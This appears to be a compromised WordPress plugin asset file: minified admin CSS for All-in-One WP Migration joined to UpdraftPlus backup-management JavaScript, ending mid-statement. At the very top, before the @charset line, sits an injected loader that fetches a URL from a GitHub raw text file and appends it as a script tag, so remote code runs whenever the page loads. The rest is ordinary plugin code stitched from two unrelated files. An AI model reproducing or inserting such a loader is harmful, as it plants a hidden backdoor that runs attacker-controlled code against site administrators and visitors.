;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});@charset "UTF-8";.ai1wm-button-group{border:2px solid #27ae60;background-color:transparent;color:#27ae60;border-radius:5px;cursor:pointer;text-transform:uppercase;font-weight:600;transition:background-color .2s ease-out;display:inline-block;text-align:right}.ai1wm-button-group.ai1wm-button-export,.ai1wm-button-group.ai1wm-button-import{box-sizing:content-box}.ai1wm-button-group.ai1wm-button-export.ai1wm-open>.ai1wm-dropdown-menu{height:448px;border-top:1px solid #27ae60}.ai1wm-button-group.ai1wm-button-import.ai1wm-open>.ai1wm-dropdown-menu{height:476px;border-top:1px solid #27ae60}.ai1wm-button-group .ai1wm-button-main{position:relative;padding:6px 25px 6px 50px;box-sizing:content-box}.ai1wm-button-group .ai1wm-dropdown-menu{height:0;overflow:hidden;transition:height .2s cubic-bezier(.19,1,.22,1);border-top:none}.ai1wm-dropdown-menu{list-style:none}.ai1wm-dropdown-menu,.ai1wm-dropdown-menu li{margin:0!important;padding:0}.ai1wm-dropdown-menu li a,.ai1wm-dropdown-menu li a:visited{display:block;padding:5px 26px;text-decoration:none;color:#27ae60;text-align:right;box-sizing:content-box}.ai1wm-dropdown-menu li a:hover,.ai1wm-dropdown-menu li a:visited:hover{text-decoration:none;color:#111}.ai1mw-lines{position:absolute;width:12px;height:10px;top:9px;left:20px}.ai1wm-line{position:absolute;width:100%;height:2px;margin:auto;background:#27ae60;transition:all .2s ease-in-out}.ai1wm-line-first{top:0;right:0}div.ai1wm-open .ai1wm-line-first,div.ai1wm-open .ai1wm-line-third{top:50%}.ai1wm-line-second{top:50%;right:0}.ai1wm-line-third{top:100%;right:0}.ai1wm-button-blue,.ai1wm-button-gray,.ai1wm-button-green,.ai1wm-button-green-small,.ai1wm-button-red{display:inline-block;border:2px solid #95a5a6;background-color:transparent;color:#95a5a6;border-radius:5px;cursor:pointer;padding:5px 26px 5px 25px;text-transform:uppercase;font-weight:600;outline:0;transition:background-color .2s ease-out;text-decoration:none}.ai1wm-button-gray:hover{background-color:#95a5a6;color:#fff}.ai1wm-button-blue,.ai1wm-button-green,.ai1wm-button-green-small,.ai1wm-button-red{border:2px solid #27ae60;color:#27ae60}.ai1wm-button-green:hover{background-color:#27ae60;color:#fff}.ai1wm-button-blue,.ai1wm-button-green-small,.ai1wm-button-red{border:2px solid #6eb649;color:#6eb649}.ai1wm-button-green-small:hover{background-color:#6eb649;color:#fff}.ai1wm-button-blue,.ai1wm-button-red{border:2px solid #00aff0;color:#00aff0}.ai1wm-button-blue:hover{background-color:#00aff0;color:#fff}.ai1wm-button-red{border:2px solid #e74c3c;color:#e74c3c}.ai1wm-button-red:hover{background-color:#e74c3c;color:#fff}.ai1wm-button-blue[disabled=disabled],.ai1wm-button-green-small[disabled=disabled],.ai1wm-button-green[disabled=disabled],.ai1wm-button-red[disabled=disabled]{opacity:.6;cursor:default}.ai1wm-button-blue[disabled=disabled]:hover{color:#00aff0}.ai1wm-button-red[disabled=disabled]:hover{color:#e74c3c}.ai1wm-button-green[disabled=disabled]:hover{color:#27ae60}.ai1wm-button-blue[disabled=disabled]:hover,.ai1wm-button-green-small[disabled=disabled]:hover,.ai1wm-button-green[disabled=disabled]:hover,.ai1wm-button-red[disabled=disabled]:hover{background:100% 0}.ai1wm-message-close-button{position:absolute;left:10px;top:6px;text-decoration:none;font-size:10px}input[type=radio].ai1wm-flat-radio-button{display:none}input[type=radio].ai1wm-flat-radio-button+a i,input[type=radio].ai1wm-flat-radio-button+label i{vertical-align:middle;float:right;width:25px;height:25px;border-radius:50%;background:100% 0;border:2px solid #ccc;content:" ";cursor:pointer;position:relative;box-sizing:content-box}input[type=radio].ai1wm-flat-radio-button:checked+a i,input[type=radio].ai1wm-flat-radio-button:checked+label i{background-color:#d9d9d9;border-color:#6f6f6f}.ai1wm-icon-update{font-size:13px;padding:0;margin:0;font-weight:400}.ai1wm-icon-update:before{color:#d54e21;content:"\f463";display:inline-block;font:20px/1 "dashicons";speak:none;padding:0;margin:0;vertical-align:top}.ai1wm-modal-dialog{position:fixed;top:0;left:0;bottom:0;right:0;background:rgba(0,0,0,.7);z-index:99999;opacity:0;transition:opacity 400ms ease-in;pointer-events:none}.ai1wm-modal-dialog:target{opacity:1;pointer-events:auto}.ai1wm-modal-dialog .ai1wm-modal-container{position:fixed;top:50%;right:50%;z-index:100002;width:480px;height:auto;padding:6px 16px 10px;-webkit-transform:translate(240px,-94px);transform:translate(240px,-94px);border:1px solid #fff;box-shadow:0 2px 6px #292929;border-radius:6px;background:#f6f6f6;box-sizing:border-box}.ai1wm-modal-dialog .ai1wm-modal-container .ai1wm-modal-error{color:red}.ai1wm-modal-dialog .ai1wm-modal-container .ai1wm-modal-buttons{text-align:right}.ai1wm-modal-dialog .ai1wm-modal-container .ai1wm-purchase-id{width:100%;padding:6px}.ai1wm-modal-dialog .ai1wm-modal-container .ai1wm-help-link{font-weight:700}.ai1wm-modal-dialog .ai1wm-modal-container .ai1wm-purchase-discard{margin-right:1em}.ai1wm-error-message,.ai1wm-update-message{padding:0;margin:0;color:red}/** * Send an action over AJAX. A wrapper around jQuery.ajax. In future, all consumers can be reviewed to simplify some of the options, where there is historical cruft. * N.B. updraft_iframe_modal() below uses the AJAX URL for the iframe's src attribute * * @param {string} action - the action to send * @param {*} data - data to send * @param {Function} callback - if specified, will be called with the results * @param {object} options -further options. Relevant properties include: * - [json_parse=true] - whether to JSON parse the results * - [alert_on_error=true] - whether to show an alert box if there was a problem (otherwise, suppress it) * - [action='updraft_ajax'] - what to send as the action parameter on the AJAX request (N.B. action parameter to this function goes as the 'subaction' parameter on the AJAX request) * - [nonce=updraft_credentialtest_nonce] - the nonce value to send. * - [nonce_key='nonce'] - the key value for the nonce field * - [timeout=null] - set a timeout after this number of seconds (or if null, none is set) * - [async=true] - control whether the request is asynchronous (almost always wanted) or blocking (would need to have a specific reason) * - [type='POST'] - GET or POST */ function updraft_send_command(action, data, callback, options) { default_options = { json_parse: true, alert_on_error: true, action: 'updraft_ajax', nonce: updraft_credentialtest_nonce, nonce_key: 'nonce', timeout: null, async: true, type: 'POST' } if ('undefined' === typeof options) options = {}; for (var opt in default_options) { if (!options.hasOwnProperty(opt)) { options[opt] = default_options[opt]; } } var ajax_data = { action: options.action, subaction: action, }; ajax_data[options.nonce_key] = options.nonce; // TODO: Once all calls are routed through here, change the listener in admin.php to always take the data from the 'data' attribute, instead of in the naked $_POST/$_GET if (typeof data == 'object') { for (var attrname in data) { ajax_data[attrname] = data[attrname]; } } else { ajax_data.action_data = data; } var ajax_opts = { type: options.type, url: ajaxurl, data: ajax_data, success: function(response, status) { if (options.json_parse) { try { var resp = ud_parse_json(response); } catch (e) { if ('function' == typeof options.error_callback) { return options.error_callback(response, e, 502, resp); } else { console.log(e); console.log(response); if (options.alert_on_error) { if ('string' === typeof response && response.match(/security\scheck\s?/i)) response += ' (' + updraftlion.expired_tokens + ' ' + updraftlion.reload_page + ')'; alert(updraftlion.unexpectedresponse+' '+response); } return; } } if (resp.hasOwnProperty('fatal_error')) { if ('function' == typeof options.error_callback) { // 500 is internal server error code return options.error_callback(response, status, 500, resp); } else { console.error(resp.fatal_error_message); if (options.alert_on_error) { alert(resp.fatal_error_message); } return false; } } if ('function' == typeof callback) callback(resp, status, response); } else { if ('function' == typeof callback) callback(response, status); } }, error: function(response, status, error_code) { if ('function' == typeof options.error_callback) { options.error_callback(response, status, error_code); } else { console.log("updraft_send_command: error: "+status+" ("+error_code+")"); console.log(response); } }, dataType: 'text', async: options.async }; if (null != options.timeout) { ajax_opts.timeout = options.timeout; } jQuery.ajax(ajax_opts); } /** * Opens the dialog box for confirmation of whether to delete a backup, plus options if relevant * * @param {string} key - The UNIX timestamp of the backup * @param {string} nonce - The backup job ID * @param {boolean} showremote - Whether or not to show the "also delete from remote storage?" checkbox */ function updraft_delete(key, nonce, showremote) { jQuery('#updraft_delete_timestamp').val(key); jQuery('#updraft_delete_nonce').val(nonce); if (showremote) { jQuery('#updraft-delete-remote-section, #updraft_delete_remote').prop('disabled', false).show(); } else { jQuery('#updraft-delete-remote-section, #updraft_delete_remote').hide().attr('disabled','disabled'); } if (key.indexOf(',') > -1) { jQuery('#updraft_delete_question_singular').hide(); jQuery('#updraft_delete_question_plural').show(); } else { jQuery('#updraft_delete_question_plural').hide(); jQuery('#updraft_delete_question_singular').show(); } jQuery('#updraft-delete-modal').dialog('open'); } function updraft_remote_storage_tab_activation(the_method){ jQuery('.updraftplusmethod').not('.error').hide(); jQuery('.remote-tab').data('active', false); jQuery('.remote-tab').removeClass('nav-tab-active'); jQuery('.updraftplusmethod.'+the_method).show(); jQuery('.remote-tab-'+the_method).data('active', true); jQuery('.remote-tab-'+the_method).addClass('nav-tab-active'); } /** * Set the email report's setting to a different interface when email storage is selected * * @param {boolean} value True to set the email report setting to another interface, false otherwise */ function set_email_report_storage_interface(value) { jQuery('#cb_not_email_storage_label').css('display', true === value ? 'none' : 'inline'); jQuery('#cb_email_storage_label').css('display', true === value ? 'inline' : 'none'); if (true === value) { jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').on('click', function(e) { return false; }); } else { jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').prop("onclick", null).off("click"); } if (!jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').is(':checked')) { jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').prop('checked', value); } jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').prop('disabled', value); var updraft_email = jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon input#updraft_email').val(); jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon label.email_report input[type="hidden"]').remove(); if (true === value) { jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon label.email_report input#updraft_email').after(''); } } /** * Check how many cron jobs are overdue, and display a message if it is several (as determined by the back-end) */ function updraft_check_overduecrons() { updraft_send_command('check_overdue_crons', null, function(response) { if (response && response.hasOwnProperty('m') && Array.isArray(response.m)) { for (var i in response.m) { jQuery('#updraft-insert-admin-warning').append(response.m[i]); } } }, { alert_on_error: false }); } function updraft_remote_storage_tabs_setup() { var anychecked = 0; var set = jQuery('.updraft_servicecheckbox:checked'); jQuery(set).each(function(ind, obj) { var ser = jQuery(obj).val(); jQuery('.error.updraftplusmethod.'+ser).show(); if (jQuery(obj).attr('id') != 'updraft_servicecheckbox_none') { anychecked++; } jQuery('.remote-tab-'+ser).show(); if (ind == jQuery(set).length-1) { updraft_remote_storage_tab_activation(ser); } }); if (anychecked > 0) { jQuery('.updraftplusmethod.none').hide(); jQuery('#remote_storage_tabs').show(); } else { jQuery('#remote_storage_tabs').hide(); } // To allow labelauty remote storage buttons to be used with keyboard jQuery(document).on('keyup', function(event) { if (32 === event.keyCode || 13 === event.keyCode) { if (jQuery(document.activeElement).is("input.labelauty + label")) { var for_box = jQuery(document.activeElement).attr("for"); if (for_box) { jQuery("#"+for_box).trigger('change'); } } } }); jQuery('.updraft_servicecheckbox').on('change', function() { var sclass = jQuery(this).attr('id'); if ('updraft_servicecheckbox_' == sclass.substring(0,24)) { var serv = sclass.substring(24); if (null != serv && '' != serv) { if (jQuery(this).is(':checked')) { anychecked++; jQuery('.error.updraftplusmethod.'+serv).show(); jQuery('.remote-tab-'+serv).fadeIn(); updraft_remote_storage_tab_activation(serv); if (jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon').length && 'email' === serv) set_email_report_storage_interface(true); } else { anychecked--; jQuery('.error.updraftplusmethod.'+serv).hide(); jQuery('.remote-tab-'+serv).hide(); // Check if this was the active tab, if yes, switch to another if (jQuery('.remote-tab-'+serv).data('active') == true) { updraft_remote_storage_tab_activation(jQuery('.remote-tab:visible').last().attr('name')); } if (jQuery('#updraft-navtab-settings-content #updraft_report_row_no_addon').length && 'email' === serv) set_email_report_storage_interface(false); } } } if (anychecked <= 0) { jQuery('.updraftplusmethod.none').fadeIn(); jQuery('#remote_storage_tabs').hide(); } else { jQuery('.updraftplusmethod.none').hide(); jQuery('#remote_storage_tabs').show(); } }); // Add stuff for free version jQuery('.updraft_servicecheckbox:not(.multi)').on('change', function() { set_email_report_storage_interface(false); var svalue = jQuery(this).attr('value'); if (jQuery(this).is(':not(:checked)')) { jQuery('.updraftplusmethod.'+svalue).hide(); jQuery('.updraftplusmethod.none').fadeIn(); } else { jQuery('.updraft_servicecheckbox').not(this).prop('checked', false); if ('email' === svalue) { set_email_report_storage_interface(true); } } }); var servicecheckbox = jQuery('.updraft_servicecheckbox'); if (typeof servicecheckbox.labelauty === 'function') { servicecheckbox.labelauty(); var $vault_label = jQuery('label[for=updraft_servicecheckbox_updraftvault]'); var $vault_info = jQuery('
?
'+updraftlion.updraftvault_info+'
'); $vault_label.append($vault_info); } } /** * Carries out a remote storage test * * @param {string} method - The identifier for the remote storage * @param {callback} result_callback - A callback function to be called with the result * @param {string} instance_id - The particular instance (if any) of the remote storage to be tested (for methods supporting multiple instances) */ function updraft_remote_storage_test(method, result_callback, instance_id) { var $the_button; var settings_selector; if (instance_id) { $the_button = jQuery('#updraft-'+method+'-test-'+instance_id); settings_selector = '.updraftplusmethod.'+method+'-'+instance_id; } else { $the_button = jQuery('#updraft-'+method+'-test'); settings_selector = '.updraftplusmethod.'+method; } var method_label = $the_button.data('method_label'); $the_button.html(updraftlion.testing_settings.replace('%s', method_label)); var data = { method: method }; // Add the other items to the data object. The expert mode settings are for the generic SSL options. jQuery('#updraft-navtab-settings-content '+settings_selector+' input[data-updraft_settings_test], #updraft-navtab-settings-content .expertmode input[data-updraft_settings_test]').each(function(index, item) { var item_key = jQuery(item).data('updraft_settings_test'); var input_type = jQuery(item).attr('type'); if (!item_key) { return; } if (!input_type) { console.log("UpdraftPlus: settings test input item with no type found"); console.log(item); // A default input_type = 'text'; } var value = null; if ('checkbox' == input_type) { value = jQuery(item).is(':checked') ? 1 : 0; } else if ('text' == input_type || 'password' == input_type || 'hidden' == input_type) { value = jQuery(item).val(); } else { console.log("UpdraftPlus: settings test input item with unrecognised type ("+input_type+") found"); console.log(item); } data[item_key] = value; }); // Data from any text areas or select drop-downs jQuery('#updraft-navtab-settings-content '+settings_selector+' textarea[data-updraft_settings_test], #updraft-navtab-settings-content '+settings_selector+' select[data-updraft_settings_test]').each(function(index, item) { var item_key = jQuery(item).data('updraft_settings_test'); data[item_key] = jQuery(item).val(); }); updraft_send_command('test_storage_settings', data, function(response, status) { $the_button.html(updraftlion.test_settings.replace('%s', method_label)); if ('undefined' !== typeof result_callback && false != result_callback) { result_callback = result_callback.call(this, response, status, data); } if ('undefined' !== typeof result_callback && false === result_callback) { alert(updraftlion.settings_test_result.replace('%s', method_label)+' '+response.output); if (response.hasOwnProperty('data')) { console.log(response.data); } } }, { error_callback: function(response, status, error_code, resp) { $the_button.html(updraftlion.test_settings.replace('%s', method_label)); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } } }); } function backupnow_whichfiles_checked(onlythesefileentities){ jQuery('#backupnow_includefiles_moreoptions input[type="checkbox"]').each(function(index) { if (!jQuery(this).is(':checked')) { return; } var name = jQuery(this).attr('name'); if (name.substring(0, 16) != 'updraft_include_') { return; } var entity = name.substring(16); if (onlythesefileentities != '') { onlythesefileentities += ','; } onlythesefileentities += entity; }); // console.log(onlythesefileentities); return onlythesefileentities; } /** * A method to get all the selected table values from the backup now modal * * @param {string} onlythesetableentities an empty string to append values to * * @return {string} a string that contains the values of all selected table entities and the database the belong to */ function backupnow_whichtables_checked(onlythesetableentities){ var send_list = false; jQuery('#backupnow_database_moreoptions .updraft_db_entity').each(function(index) { if (!jQuery(this).is(':checked')) { send_list = true; return; } if (jQuery(this).is(':checked') && jQuery(this).data('non_wp_table')) { send_list = true; return; } }); onlythesetableentities = jQuery("input[name^='updraft_include_tables_']").serializeArray(); if (send_list) { return onlythesetableentities; } else { return true; } } function updraft_deleteallselected() { var howmany = 0; var remote_exists = 0; var key_all = ''; var nonce_all = ''; var remote_all = 0; jQuery('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row.backuprowselected').each(function(index) { howmany++; var nonce = jQuery(this).data('nonce'); if (nonce_all) { nonce_all += ','; } nonce_all += nonce; var key = jQuery(this).data('key'); if (key_all) { key_all += ','; } key_all += key; var has_remote = jQuery(this).find('.updraftplus-remove').data('hasremote'); if (has_remote) remote_all++; }); updraft_delete(key_all, nonce_all, remote_all); } /** * Open main tab which is given as argument * * @param {string} active_tab_key A tab key which you would like to open */ function updraft_open_main_tab(active_tab_key) { updraftlion.main_tabs_keys.forEach(function(tab_key) { if (active_tab_key == tab_key) { jQuery('#updraft-navtab-' + tab_key + '-content').show(); jQuery('#updraft-navtab-' + tab_key).addClass('nav-tab-active'); } else { jQuery('#updraft-navtab-' + tab_key + '-content').hide(); jQuery('#updraft-navtab-' + tab_key).removeClass('nav-tab-active'); } updraft_console_focussed_tab = active_tab_key; }); } /** * Open an existing backups tab * * @param {Boolean} toggly Whether switch on updraft_historytimer or not */ function updraft_openrestorepanel(toggly) { // jQuery('.download-backups').slideDown(); updraft_historytimertoggle(1); jQuery('html,body').animate({scrollTop: jQuery('#updraft_lastlogcontainer').offset().top},'slow'); updraft_historytimertoggle(toggly); updraft_open_main_tab('backups'); } function updraft_delete_old_dirs() { return true; } function updraft_initiate_restore(whichset) { jQuery('#updraft-navtab-backups-content .updraft_existing_backups button[data-backup_timestamp="'+whichset+'"]').trigger('click'); } function updraft_restore_setoptions(entities) { var howmany = 0; jQuery('input[name="updraft_restore[]"]').each(function(x,y) { var entity = jQuery(y).val(); var epat = '\/'+entity+'=([0-9,]+)'; var eregex = new RegExp(epat); var ematch = entities.match(eregex); if (ematch) { jQuery(y).prop('disabled', false).data('howmany', ematch[1]).parent().show(); howmany++; if ('db' == entity) { howmany += 4.5;} if (jQuery(y).is(':checked')) { // This element may or may not exist. The purpose of explicitly calling show() is that Firefox, when reloading (including via forwards/backwards navigation) will remember checkbox states, but not which DOM elements were showing/hidden - which can result in some being hidden when they should be shown, and the user not seeing the options that are/are not checked. jQuery('#updraft_restorer_'+entity+'options').show(); } } else { jQuery(y).attr('disabled','disabled').parent().hide(); } }); var cryptmatch = entities.match(/dbcrypted=1/); if (cryptmatch) { jQuery('#updraft_restore_db').data('encrypted', 1); jQuery('.updraft_restore_crypteddb').show(); } else { jQuery('#updraft_restore_db').data('encrypted', 0); jQuery('.updraft_restore_crypteddb').hide(); } jQuery('#updraft_restore_db').trigger('change'); var dmatch = entities.match(/meta_foreign=([12])/); if (dmatch) { jQuery('#updraft_restore_meta_foreign').val(dmatch[1]); } else { jQuery('#updraft_restore_meta_foreign').val('0'); } } /** * Open the 'Backup Now' dialog box * * @param {string} type - the backup type; either "new" or "incremental" */ function updraft_backup_dialog_open(type) { type = ('undefined' === typeof type) ? 'new' : type; if (0 == jQuery('#updraftplus_incremental_backup_link').data('incremental') && 'incremental' == type) { jQuery('#updraft-backupnow-modal .incremental-free-only').show(); type = 'new'; } else { jQuery('#updraft-backupnow-modal .incremental-backups-only, #updraft-backupnow-modal .incremental-free-only').hide(); } jQuery('#backupnow_includefiles_moreoptions').hide(); if (!updraft_settings_form_changed || window.confirm(updraftlion.unsavedsettingsbackup)) { jQuery('#backupnow_label').val(''); if ('incremental' == type) { update_file_entities_checkboxes(true, impossible_increment_entities); jQuery('#backupnow_includedb').prop('checked', false); jQuery('#backupnow_includefiles').prop('checked', true); jQuery('#backupnow_includefiles_label').text(updraftlion.files_incremental_backup); jQuery('#updraft-backupnow-modal .new-backups-only').hide(); jQuery('#updraft-backupnow-modal .incremental-backups-only').show(); } else { update_file_entities_checkboxes(false, impossible_increment_entities); jQuery('#backupnow_includedb').prop('checked', true); jQuery('#backupnow_includefiles_label').text(updraftlion.files_new_backup); jQuery('#updraft-backupnow-modal .new-backups-only').show(); jQuery('#updraft-backupnow-modal .incremental-backups-only').hide(); } jQuery('#updraft-backupnow-modal').data('backup-type', type); jQuery('#updraft-backupnow-modal').dialog('open'); } } /** * Open the 'Backup Now' dialog box * * @param {string} type - the backup type; either "new" or "incremental" */ /** * This function will enable and disable the file entity options depending on what entities increments can be added to and if this is a new backup or not. * * @param {boolean} incremental - a boolean to indicate if this is an incremental backup or not * @param {array} entities - an array of entities to disable */ function update_file_entities_checkboxes(incremental, entities) { if (incremental) { jQuery(entities).each(function (index, entity) { jQuery('#backupnow_files_updraft_include_' + entity).prop('checked', false); jQuery('#backupnow_files_updraft_include_' + entity).prop('disabled', true); }); } else { jQuery('#backupnow_includefiles_moreoptions input[type="checkbox"]').each(function (index) { var name = jQuery(this).attr('name'); if (name.substring(0, 16) != 'updraft_include_') { return; } var entity = name.substring(16); if (typeof jQuery('#backupnow_files_updraft_include_' + entity).data('force_disabled') == 'undefined') { jQuery('#backupnow_files_updraft_include_' + entity).prop('disabled', false); if (jQuery('#updraft_include_' + entity).is(':checked')) { jQuery('#backupnow_files_updraft_include_' + entity).prop('checked', true); } } else { jQuery('#backupnow_files_updraft_include_' + entity).prop('disabled', true); jQuery('#backupnow_files_updraft_include_' + entity).prop('checked', false); } }); } } var onlythesefileentities = backupnow_whichfiles_checked(''); if ('' == onlythesefileentities) { jQuery("#backupnow_includefiles_moreoptions").show(); } else { jQuery("#backupnow_includefiles_moreoptions").hide(); } var impossible_increment_entities; var updraft_restore_stage = 1; var lastlog_lastmessage = ""; var lastlog_lastdata = ""; var lastlog_jobs = ""; // var lastlog_sdata = { action: 'updraft_ajax', subaction: 'lastlog' }; var updraft_activejobs_nextupdate = (new Date).getTime() + 1000; // Bits: main tab displayed (1); restore dialog open (uses downloader) (2); tab not visible (4) var updraft_page_is_visible = 1; var updraft_console_focussed_tab = updraftlion.tab; var php_max_input_vars = 0; var skipped_db_scan = 0; var updraft_settings_form_changed = false; var save_button_added = false; function load_save_button() { if (updraft_settings_form_changed && !save_button_added) { save_button_added = true; jQuery('#updraft-navtab-settings-content').prepend(''); jQuery("#updraft-navtab-settings-content").on('click', '#updraftplus-floating-settings-save', function() { jQuery("#updraftplus-settings-save").trigger('click'); jQuery("#updraftplus-floating-settings-save").remove(); save_button_added = false; }); jQuery("#updraftplus-settings-save").on('click', function() { jQuery("#updraftplus-floating-settings-save").remove(); save_button_added = false; }); } } window.onbeforeunload = function(e) { if (updraft_settings_form_changed) return updraftlion.unsavedsettings; } /** * N.B. This function works on both the UD settings page and elsewhere * * @param {boolean} firstload Check if this is first load */ function updraft_check_page_visibility(firstload) { if ('hidden' == document["visibilityState"]) { updraft_page_is_visible = 0; } else { updraft_page_is_visible = 1; if (1 !== firstload) { if (jQuery('#updraft-navtab-backups-content').length) { updraft_activejobs_update(true); } } }; } // See http://caniuse.com/#feat=pagevisibility for compatibility (we don't bother with prefixes) if (typeof document.hidden !== "undefined") { document.addEventListener('visibilitychange', function() { updraft_check_page_visibility(0);}, false); } updraft_check_page_visibility(1); var updraft_poplog_log_nonce; var updraft_poplog_log_pointer = 0; var updraft_poplog_lastscroll = -1; var updraft_last_forced_jobid = -1; var updraft_last_forced_resumption = -1; var updraft_last_forced_when = -1; var updraft_backupnow_nonce = ''; var updraft_activejobslist_backupnownonce_only = 0; var updraft_inpage_hasbegun = 0; var updraft_activejobs_update_timer; var updraft_aborted_jobs = []; var updraft_clone_jobs = []; var temporary_clone_timeout; // Manage backups table selection var updraft_backups_selection = {}; // @codingStandardsIgnoreStart - to keep the doc blocks, as they're considered block comments by phpcs (function($) { /** * Toggle row seletion * * @param {HTMLDomElement|jQuery} el - row element */ updraft_backups_selection.toggle = function(el) { var $el = $(el); if ($el.is('.backuprowselected')) { this.deselect(el); } else { this.select(el); } }; /** * Select row * * @param {HTMLDomElement|jQuery} el - row element */ updraft_backups_selection.select = function(el) { $(el).addClass('backuprowselected'); $(el).find('.backup-select input').prop('checked', true); this.checkSelectionStatus(); }; /** * Deselect row * * @param {HTMLDomElement|jQuery} el - row element */ updraft_backups_selection.deselect = function(el) { $(el).removeClass('backuprowselected'); $(el).find('.backup-select input').prop('checked', false); this.checkSelectionStatus(); }; /** * Select all rows */ updraft_backups_selection.selectAll = function() { $('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').each(function(index, el) { updraft_backups_selection.select(el); }) }; /** * Deselect all rows */ updraft_backups_selection.deselectAll = function() { $('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').each(function(index, el) { updraft_backups_selection.deselect(el); }) }; /** * Actions after a row selection/deselection */ updraft_backups_selection.checkSelectionStatus = function() { var num_rows = $('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').length; var num_selected = $('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row.backuprowselected').length; // toggles actions upon seleted items if (num_selected > 0) { $('#ud_massactions').addClass('active'); $('.js--deselect-all-backups, .js--delete-selected-backups').prop('disabled', false); } else { $('#ud_massactions').removeClass('active'); $('.js--deselect-all-backups, .js--delete-selected-backups').prop('disabled', true); } // if all rows are selected, check the headind's checkbox if (num_rows === num_selected) { $('#cb-select-all').prop('checked', true); } else { $('#cb-select-all').prop('checked', false); } // if no backups, hide massaction if (!num_rows) { $('#ud_massactions').hide(); } else { $('#ud_massactions').show(); } } /** * Multiple range selection * * @param {HTMLDomElement|jQuery} el - row element */ updraft_backups_selection.selectAllInBetween = function(el) { var idx_start = this.firstMultipleSelectionIndex, idx_end = el.rowIndex-1; if (this.firstMultipleSelectionIndex > el.rowIndex-1) { idx_start = el.rowIndex-1; idx_end = this.firstMultipleSelectionIndex; } for (var i=idx_start; i<=idx_end; i++) { this.select($('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').eq(i)); } } /** * Multiple range selection event handler that gets executed when hovering the mouse over the row of existing backups. This function highlights the rows with color */ updraft_backups_selection.highlight_backup_rows = function() { if ("undefined" === typeof updraft_backups_selection.firstMultipleSelectionIndex) return; if (!$(this).hasClass('range-selection') && !$(this).hasClass('backuprowselected')) $(this).addClass('range-selection'); $(this).siblings().removeClass('range-selection'); if (updraft_backups_selection.firstMultipleSelectionIndex+1 > this.rowIndex) { $(this).nextUntil('.updraft_existing_backups_row.range-selection-start').addClass('range-selection'); } else if (updraft_backups_selection.firstMultipleSelectionIndex+1 < this.rowIndex) { $(this).prevUntil('.updraft_existing_backups_row.range-selection-start').addClass('range-selection'); } } /** * Multiple range selection event handler that gets executed when the user releases the ctrl+shift button, it also gets executed when the mouse pointer is moved out from the browser page * This function clears all the highlighted rows and removes hover and mouseleave event handlers */ updraft_backups_selection.unregister_highlight_mode = function() { if ("undefined" === typeof updraft_backups_selection.firstMultipleSelectionIndex) return; delete updraft_backups_selection.firstMultipleSelectionIndex; $('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').removeClass('range-selection range-selection-start'); $('#updraft-navtab-backups-content').off('mouseenter', '.updraft_existing_backups .updraft_existing_backups_row', this.highlight_backup_rows); $('#updraft-navtab-backups-content').off('mouseleave', '.updraft_existing_backups .updraft_existing_backups_row', this.highlight_backup_rows); $(document).off('mouseleave', this.unregister_highlight_mode); } /** * Register mouseleave and hover event handlers for highlighting purposes */ updraft_backups_selection.register_highlight_mode = function() { $(document).on('mouseleave', updraft_backups_selection.unregister_highlight_mode); $('#updraft-navtab-backups-content').on('mouseenter', '.updraft_existing_backups .updraft_existing_backups_row', updraft_backups_selection.highlight_backup_rows); $('#updraft-navtab-backups-content').on('mouseleave', '.updraft_existing_backups .updraft_existing_backups_row', updraft_backups_selection.highlight_backup_rows); } })(jQuery); // @codingStandardsIgnoreEnd /** * Setup migration sections */ function setup_migrate_tabs() { // sets up the section buttons jQuery('#updraft_migrate .updraft_migrate_widget_module_content').each(function(ind, el) { var title = jQuery(el).find('h3').first().html(); var intro_container = jQuery('.updraft_migrate_intro'); var button = jQuery('' }); // close success popup setTimeout(jQuery.unblockUI, 5000); jQuery('.blockUI .updraft-close-overlay').on('click', function() { jQuery.unblockUI(); }) } /** * Opens a dialog window showing the requested (or latest) log file, plus an option to download it * * @param {string} backup_nonce - the nonce of the log to display, or empty for the latest one */ function updraft_popuplog(backup_nonce) { var loading_message = updraftlion.loading_log_file; if (backup_nonce) { loading_message += ' (log.'+backup_nonce+'.txt)'; } jQuery('#updraft-poplog').dialog("option", "title", loading_message); jQuery('#updraft-poplog-content').html(''+loading_message+' ... '); jQuery('#updraft-poplog').dialog("open"); updraft_send_command('get_log', backup_nonce, function(resp) { updraft_poplog_log_pointer = resp.pointer; updraft_poplog_log_nonce = resp.nonce; var download_url = '?page=updraftplus&action=downloadlog&force_download=1&updraftplus_backup_nonce='+resp.nonce; jQuery('#updraft-poplog-content').html(resp.log); var log_popup_buttons = {}; log_popup_buttons[updraftlion.downloadlogfile] = function() { window.location.href = download_url; }; log_popup_buttons[updraftlion.close] = function() { jQuery(this).dialog("close"); }; // Set the dialog buttons: Download log, Close log jQuery('#updraft-poplog').dialog("option", "buttons", log_popup_buttons); jQuery('#updraft-poplog').dialog("option", "title", 'log.'+resp.nonce+'.txt'); updraft_poplog_lastscroll = -1; }, { type: 'GET', timeout: 60000, error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); jQuery('#updraft-poplog-content').append(resp.fatal_error_message); } else { var msg = (status == error_code) ? error_code : error_code+" 